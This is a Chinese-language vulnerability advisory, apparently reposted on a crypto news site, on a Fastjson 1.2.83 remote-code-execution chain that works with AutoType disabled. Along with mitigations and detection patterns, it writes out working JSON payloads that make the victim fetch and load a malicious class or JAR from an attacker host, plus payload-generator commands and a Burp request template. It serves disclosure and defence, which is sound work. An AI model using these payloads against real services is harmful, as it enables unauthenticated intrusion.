區塊鏈

GCSA洞察:Fastjson 1.2.83 「Gadget-Free」 漏洞(0day)深度分析與防禦指南

金色財經

摘要

在傳統 Java 反序列化漏洞防禦體系中,業界普遍存在以下認知盲區:「AutoType 默認關閉就安全」、「固定了 parseObject 的第二參數(頂層目標類型)就安全」、「排空了本地 Classpath 的反序列化 Gadget 依賴就安全」。然而,最新的技術攻防演進徹底打破了這些僥倖心理。

GCSA全球網路安全聯盟今日獨家發布本篇技術洞察報告。 報告深入復盤了 Fastjson 1.2.83 在默認 AutoType=false 狀態下,依然可觸發無需傳統 Gadget 依賴的遠程代碼執行(RCE)的底層根因。目前,該利用技術已在 JDK 8 / 17 / 21 / 25 以及 Spring Boot Loader 隔離環境中端到端復現成功。本漏洞並非傳統的「繞過黑名單後尋找本地 Gadget」,而是直接將 Fastjson 自身的 Class 元數據探測邏輯扭轉為遠程惡意 Class 的獲取與授權通道。



以下為正文

發布機構: GCSA全球網路安全聯盟

報告類型: 獨家技術洞察 / 漏洞深度剖析報告

報告日期:2026-07-21
報告狀態:已完成源碼審計與隔離環境復現
漏洞編號:內部研究編號 FJ-GETRESOURCE-RCE(不對應已公開 CVE)

Fastjson 1.2.83 在默認 AutoType=false 下仍可觸發無需傳統 gadget 的遠程代碼執行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔離環境復現。建議立即啟用 SafeMode 並遷移 Fastjson 2.x。


1. 執行摘要

Fastjson 1.2.83 的 ParserConfig.checkAutoType 會把用戶可控的 @type 值轉換為 class 資源名,並交給當前 ClassLoader 的 getResourceAsStream:

String resource = typeName.replace(".", "/") + ".class"; is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

在能夠解析絕對 URL 資源名的 fat-jar ClassLoader 環境中,攻擊者可以利用點號替換 構造 http:、jar:http: 和 jar:file: URL,從攻擊端下載帶有 @JSONType 的 惡意 class。Fastjson 檢測到該註解後會調用 loadClass,並在危險基類檢查和目標類型 相容性檢查之前直接返回該 class。class 被實例化、初始化時即可執行任意代碼。

該利用不依賴目標 classpath 中已有的傳統反序列化 gadget,且在 Fastjson AutoType=false 的默認狀態下仍可觸發。固定 JSON.parseObject 的目標類型不能 阻止執行;啟用 SafeMode 可以在資源訪問前阻斷正常利用路徑。

本報告已使用同一個 JSON payload 在隔離 Linux 容器中完成以下復現:

JDKClassLoader 環境Fastjson結果
Temurin 8u492Spring Boot Loader 2.7.181.2.83RCE 成功
Temurin 17.0.19Spring Boot Loader 3.2.01.2.83RCE 成功
Temurin 21.0.11Spring Boot Loader 3.2.01.2.83RCE 成功
Temurin 25.0.3Spring Boot Loader 3.2.01.2.83RCE 成功

2. 漏洞評級

項目結論
漏洞類型不安全反序列化 / 遠程 class 注入 / 遠程代碼執行
建議等級高危;滿足已驗證部署條件時可按嚴重處理
攻擊向量網路遠程
權限要求
用戶交互
機密性影響
完整性影響
可用性影響
利用複雜度取決於 ClassLoader、出網能力及操作系統文件描述符接口

不建議僅憑組件版本給出統一的 CVSS 9.8:普通 AppClassLoader 是負對照,現代 JDK 完整鏈還依賴能夠解析兩種絕對 JAR URL 的 loader 和 /proc/self/fd。在滿足本報告 正向環境的應用中,漏洞效果為無需認證的網路 RCE。

3. 影響範圍與前置條件

3.1 已確認範圍

  • 運行時確認:Fastjson 1.2.83。

  • JDK 確認:8、17、21、25。

  • 操作系統確認:Linux;macOS 使用 /dev/fd 也完成了 JDK 17/21/25 復現。

  • loader 確認:

- Spring Boot 2.7.18 classic loader + JDK 8; - Spring Boot 3.2.0 loader + JDK 17/21/25。

  • API 確認:JSON.parse,以及固定頂層類型的 JSON.parseObject。

3.2 版本範圍說明

外部描述中的 1.2.68–1.2.83 更適合作為已知測試範圍,而不是漏洞引入版本。 源碼核對表明,決定性的 class 資源探測代碼在 1.2.67 和 1.2.68 中已經存在。本報告 僅對 1.2.83 完成了完整跨 JDK 運行時驗證,不能據此斷言更早版本全部具備完全相同的 端到端利用條件。

3.3 利用所需條件

  • 攻擊者可以控制傳入 Fastjson 的 JSON,且輸入中的 @type 會被解析。

  • SafeMode 未啟用。

  • 加載 Fastjson 的 ClassLoader 能把構造後的絕對資源名解析為 URL。

  • 受害進程可以連接攻擊端 HTTP 服務。

  • 現代 Linux 鏈要求 /proc/self/fd 可讀,並且 loader 能解析

  • jar:file:/proc/self/fd/N!...。

  • JDK 需要能夠創建正常的遠程 JAR 臨時緩存;這通常意味著 JVM 臨時目錄可寫。

  • 攻擊者不需要:

    • 向目標 classpath 寫入文件;

    • 目標 classpath 預裝 TemplatesImpl、JNDI、C3P0、Commons Collections 等 gadget;

    • 開啟 Fastjson AutoType;

    • 控制 JSON.parseObject 的第二個參數。

    4. 根因分析

    4.1 用戶類型名被當作資源 URL

    源碼位置:

    src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498

    核心代碼:

    String resource = typeName.replace(".", "/") + ".class"; if (defaultClassLoader != null) {     is = defaultClassLoader.getResourceAsStream(resource); } else {     is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); }

    該邏輯假設 resource 只是普通 classpath 路徑,但沒有限制其協議、絕對路徑語義或 來源。對於特定 fat-jar loader,以下輸入會在替換後變成絕對 URL:

    輸入類型名: http:..localhost:18081.a 資源名:     http://localhost:18081/a.class

    因此 getResourceAsStream 從本地元數據查詢越界為攻擊者可控的網路資源加載。

    4.2 遠程 class 的 @JSONType 被當作授權依據

    Fastjson 使用自己的 ASM ClassReader 解析資源內容:

    ClassReader classReader = new ClassReader(is, true); TypeCollector visitor = new TypeCollector("", new Class[0]); classReader.accept(visitor); jsonType = visitor.hasJsonType();

    攻擊端只需讓遠程 class 帶有 Fastjson 的 @JSONType 註解,即可將 jsonType 置為 true。這裡檢查的是攻擊者提供的字節,而不是一個已經由可信 classpath 加載的類。

    4.3 jsonType 觸發實際類加載

    源碼位置:

    ParserConfig.java:1500-1503 TypeUtils.java:1759-1792if (autoTypeSupport || jsonType || expectClassFlag) {     boolean cacheClass = autoTypeSupport || jsonType;     clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); }

    TypeUtils.loadClass 依次嘗試顯式 loader、線程上下文 loader 和 Class.forName。 在正向環境中,線程上下文 loader 會再次解析相同的絕對資源名、下載 class 並執行 defineClass。

    4.4 @JSONType 早返迴繞過後續安全檢查

    源碼位置:

    ParserConfig.java:1505-1528if (clazz != null) {     if (jsonType) {         return clazz;     }     // 這些檢查位於 jsonType 返回之後     if (ClassLoader.class.isAssignableFrom(clazz)             || DataSource.class.isAssignableFrom(clazz)             || RowSet.class.isAssignableFrom(clazz)) {         throw new JSONException(...);     }     if (expectClass != null) {         // assignability 檢查同樣在後面     } }

    因此,遠程 class 一旦攜帶 @JSONType:

    • 危險基類檢查不會執行;

    • expectClass.isAssignableFrom(clazz) 不會執行;

    • 固定數據綁定類型無法在 class 初始化之前阻止執行。

    4.5 Exception/Error 後綴形成失敗軟通道

    源碼位置:

    ParserConfig.java:1537-1542if (!autoTypeSupport) {     if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {         return null;     }     throw new JSONException("autoType is not support. " + typeName); }

    現代 JDK 第一階段會因非法內部類名加載失敗。讓類型名以 Exception 結尾後, Fastjson 不會終止整個 JSON,而是返回 null,使解析器繼續處理數組中的 FD 枚舉 元素。這一分支是單 payload 跨階段執行的關鍵。

    4.6 SafeMode 的位置

    SafeMode 檢查位於資源訪問之前:

    ParserConfig.java:1325-1330

    所以默認路徑中 SafeMode 能阻止網路請求。不過 AutoTypeCheckHandler 位於 SafeMode 之前(ParserConfig.java:1316-1323);如果應用主動註冊了一個直接返回 類型的 handler,需要單獨審計,不能把 SafeMode 理解為可覆蓋自定義 handler 的 絕對邊界。

    5. 利用鏈詳解

    5.1 JDK 8:直接遠程 class 加載

    最短形式:

    {"@type":"http:..localhost:18081.a"}

    轉換鏈:

    binary type name:  http:..localhost:18081.a resource URL:      http://localhost:18081/a.class class internal:    http://localhost:18081/a

    JDK 8 接受上述非常規內部類名。Spring Boot 2.7 的 LaunchedURLClassLoader 下載 class 後完成定義、實例化和初始化,惡意 執行命令。

    JDK 17+ 同樣會完成網路請求,但拒絕內部名中的空路徑段:

    ClassFormatError: Illegal class name "http://localhost:18081/a"

    所以短 http:.. 形式本身只在 JDK 8 完成 RCE。

    5.2 現代 JDK 第一階段:下載遠程 JAR

    單 payload 的首個數組元素:

    {"@type":"jar:http:..attacker:18081.x!.foo.Exception"}

    轉換結果:

    resource URL: jar:http://attacker:18081/x!/foo/Exception.class

    JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve 會創建 jar_cache* 臨時文件, 將遠程 JAR 複製到該文件,然後打開 JarFile。緩存仍由受害 JVM 持有;攻擊者不需要 知道隨機臨時文件名,也沒有直接向受害文件系統寫文件。

    JDK 17+ 隨後拒絕第一階段 jar:http://... 內部名,但 Fastjson 因 Exception 後綴繼續解析數組。

    5.3 現代 JDK 第二階段:重開緩存 FD

    後續候選元素示例:

    {"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}

    轉換鏈:

    binary type name: jar:file:.proc.self.fd.7!.fd7.Exception resource URL: jar:file:/proc/self/fd/7!/fd7/Exception.class class internal name: jar:file:/proc/self/fd/7!/fd7/Exception

    與 http:// 不同,該內部名的每個 / 分隔組件都非空,因此現代 JVM 接受。 攻擊 JAR 中為每個候選 FD 準備一個入口:

    fd3/Exception.class fd4/Exception.class ... fd64/Exception.class

    每個 class 的常量池內部名都與對應 FD 的請求類型精確匹配,並攜帶 @JSONType。 命中實際緩存句柄後,Fastjson 加載並實例化該類, 執行命令。

    JDK 17 的 class-load 日誌中首個命中為:

    jar:file:.proc.self.fd.7!.fd7.Exception

    5.4 為什麼一個 payload 同時兼容 JDK 8 和現代 JDK

    • JDK 8 直接接受第一階段 jar:http://... class 並執行。

    • 第一階段 class 執行命令後故意拋出 RuntimeException("stage-one-stop"),阻止

    JDK 8 繼續嘗試無關 socket/pipe FD。

    • JDK 17+ 在 class 初始化前就因第一階段非法名稱失敗,不會觸發該主動異常;隨後

    通過 Exception 軟返回進入 FD 枚舉階段。

    6. 復現環境與證據

    6.1 被測構件哈希

    fastjson-1.2.83.jar SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b

    6.2 一鍵復現

    cd  # 首次運行可設置 PULL=1 拉取官方容器鏡像 PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh

    期望輸出:

    JDK 8 : RCE-OK JDK 17: RCE-OK JDK 21: RCE-OK JDK 25: RCE-OK

    腳本會:

  • 編譯受害 fat jar;

  • 生成帶 FD 專用 class 的攻擊 JAR;

  • 生成一個 JSON 數組 payload;

  • 在隔離 Docker 網路啟動攻擊端 HTTP 服務;

  • 分別啟動 JDK 8/17/21/25 受害容器;

  • 檢查每個容器映射出的 /tmp/fastjson-getresource-rce。

  • 6.3 手工生成攻擊 JAR 和 payload

    cd  ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \   --host attacker \   --port 18081 \   --fd-root /proc/self/fd \   --min-fd 3 \   --max-fd 64 \   --out-jar target/getresource-repro/www-linux/x \   --out-json target/getresource-repro/fd-payload-linux.json

    生成物:

    攻擊端 JAR: target/getresource-repro/www-linux/x JSON payload: target/getresource-repro/fd-payload-linux.json

    --host 建議使用不含點號的 DNS 標籤或十進制 IPv4。原因不是繞過 localhost, 而是 Fastjson 會把類型名中的所有 . 都改成 /。例如十進制 IPv4 2130706433 等價於 127.0.0.1,但不會被點號替換拆開。

    6.4 通過 Burp Suite 投遞

    Burp 只負責向存在 Fastjson 解析點的受害接口發送 JSON;攻擊 JAR 仍需由攻擊端 HTTP 服務提供。

    請求模板:

    POST /parse HTTP/1.1 Host: victim.example Content-Type: application/json Connection: close Content-Length: ... [將 fd-payload-linux.json 的完整內容放在此處]

    如果應用使用固定頂層類型,可根據字段結構包裝數組,例如:

    {"value":[/* fd-payload-linux.json 中的所有數組元素 */]}

    本實驗使用 JSON.parseObject(json, BoundEnvelope.class) 解析上述包裝,結果仍為 RCE-OK,並正常返回 BoundEnvelope。

    6.5 關鍵邊界測試

    測試HTTP 請求命令 marker結論
    AutoType=false關閉 AutoType 不足以防禦
    固定 BoundEnvelope.class固定第二參數不足以防禦
    SafeMode=true0正常默認 handler 環境下有效阻斷
    普通 AppClassLoader0不解析絕對遠程資源
    Boot 2.7 + JDK 17首段有第二段 jar:file:/proc/self/fd 未解析
    Boot 3.2 + JDK 17/21/25完整現代鏈成立

    7. 修復與緩解建議

    7.1 首選:遷移出 Fastjson 1.x

    優先遷移至維護中的 Fastjson 2.x,並重新驗證所有多態類型、AutoType 和兼容模式 配置。不要僅替換 JAR 而不做回歸測試。

    7.2 立即啟用 SafeMode

    代碼配置:

    ParserConfig.getGlobalInstance().setSafeMode(true);

    JVM 參數:

    -Dfastjson.parser.safeMode=true

    注意:應用如註冊了 AutoTypeCheckHandler,應同步審計或移除,因為 handler 在 SafeMode 檢查之前執行。

    7.3 限制反序列化入口

    • 不要把不可信請求直接交給 JSON.parse/JSON.parseObject。

    • 在網關或應用入口拒絕任何形式的特殊類型元數據。

    • 僅固定頂層 Java 類型不是充分防線,因為嵌套對象仍可處理 @type,且本漏洞的

    jsonType 早返迴繞過相容性檢查。

    7.4 WAF/網關臨時規則

    臨時攔截 JSON key 解碼後等於 @type 的請求,並覆蓋 URL 參數、請求體及嵌套對象。 不能只搜尋明文 "@type",Fastjson lexer 會先解碼字段名,例如:

    {"\u0040type":"..."} {"\x40type":"..."}

    WAF 規則只能作為緩解,不能代替組件升級和 SafeMode。

    7.5 出網與運行時加固

    • 禁止業務 JVM 對非必要外部地址發起 HTTP/HTTPS 連接。

    • 對應用容器實施最小網路策略。

    • 在兼容性允許時限制 /proc/self/fd 暴露或使用更嚴格的容器沙箱。

    • 審計 ClassLoader 對絕對 URL 資源名的處理,拒絕 http:、https:、jar:、

    file: 等協議形式。

    • 監控 JVM 臨時目錄中的異常 jar_cache* 活動。

    8. 檢測建議與 IOC

    8.1 請求側特徵

    重點關註解碼後的 @type 值包含:

    http:.. jar:http:.. jar:file:.proc.self.fd. jar:file:.dev.fd. !.fd Exception

    單獨出現 Exception 不足以告警,應與協議形式、@type 和數組內連續 FD 候選組合 關聯分析。

    8.2 網路側特徵

    • JVM 向異常主機請求無擴展名 JAR 或 .class;

    • 同一解析請求期間出現 1–3 次重複 GET/HEAD;

    • 請求路徑中可能出現 /x、/a.class 或攻擊者自定義等價路徑。

    8.3 主機側特徵

    • JVM 臨時目錄創建 jar_cache*;

    • Java 進程通過 /proc/self/fd/N 重新打開自身文件;

    • class-load 日誌出現類似:

    jar:file:.proc.self.fd.7!.fd7.Exception

    9. 結論

    本漏洞並非傳統的「繞過黑名單後尋找本地 gadget」,而是把 Fastjson 自身的 class 元數據探測邏輯變成了遠程 class 獲取和授權通道。@JSONType 早返回使攻擊者提供的 class 在危險基類和類型綁定檢查之前被接受;Exception 失敗軟通道及 JDK jar:http: 臨時緩存則將 JDK 8 的直接加載原語擴展到了 JDK 17/21/25。

    因此以下常見判斷均不成立:

    • 「AutoType 默認關閉,所以安全」;

    • 「固定 parseObject 第二參數,所以安全」;

    • 「classpath 沒有已知 gadget,所以安全」;

    • 「JDK 17+ 會拒絕 http:// 內部名,所以最多隻是 SSRF」。

    在滿足已驗證 loader、網路和文件描述符條件的部署中,該問題可以從單個未經認證的 JSON 請求發展為真實遠程代碼執行。應優先遷移 Fastjson 2.x,並立即啟用 SafeMode、 收緊出網與 ClassLoader 資源解析邊界。

    10. 附件與證據路徑

    完整研究記錄: target/FASTJSON_1_2_83_RCE_ANALYSIS.md 復現說明: target/getresource-repro/README.md JDK 8 短鏈: target/getresource-repro/reproduce.sh JDK 8/17/21/25 Linux 完整鏈: target/getresource-repro/reproduce_fd_chain.sh 攻擊 JAR/payload 生成器: target/getresource-repro/build_fd_chain.py 生成的 Linux payload: target/getresource-repro/fd-payload-linux.json JDK 17 class-load 證據: target/getresource-repro/linux-jdk17-classload.log


    ⚠️ 轉載及版權聲明:本報告及相關技術分析由GCSA全球網路安全聯盟獨家發布。歡迎行業同仁、安全媒體進行學習與交流。如需轉載請務必完整保留GCSA官方出處及原始鏈接,並不得對報告核心觀點進行惡意篡改。感謝對網路安全生態共同維護的理解與支持!

    來源:金色財經

    發佈者對本文章的內容承擔全部責任
    在投資加密貨幣前,請務必深入研究,理解相關風險,並謹慎評估自己的風險承受能力。不要因為短期高回報的誘惑而忽視潛在的重大損失。

    暢行幣圈交易全攻略,專家駐群實戰交流

    ▌立即加入鉅亨買幣實戰交流 LINE 社群(點此入群
    不管是新手發問,還是老手交流,只要你想參與加密貨幣現貨交易、合約跟單、合約網格、量化交易、理財產品的投資,都歡迎入群討論學習!

    前往鉅亨買幣找交易所優惠


    section icon

    鉅亨講座

    看更多
    • 講座
    • 公告

      Empty
      Empty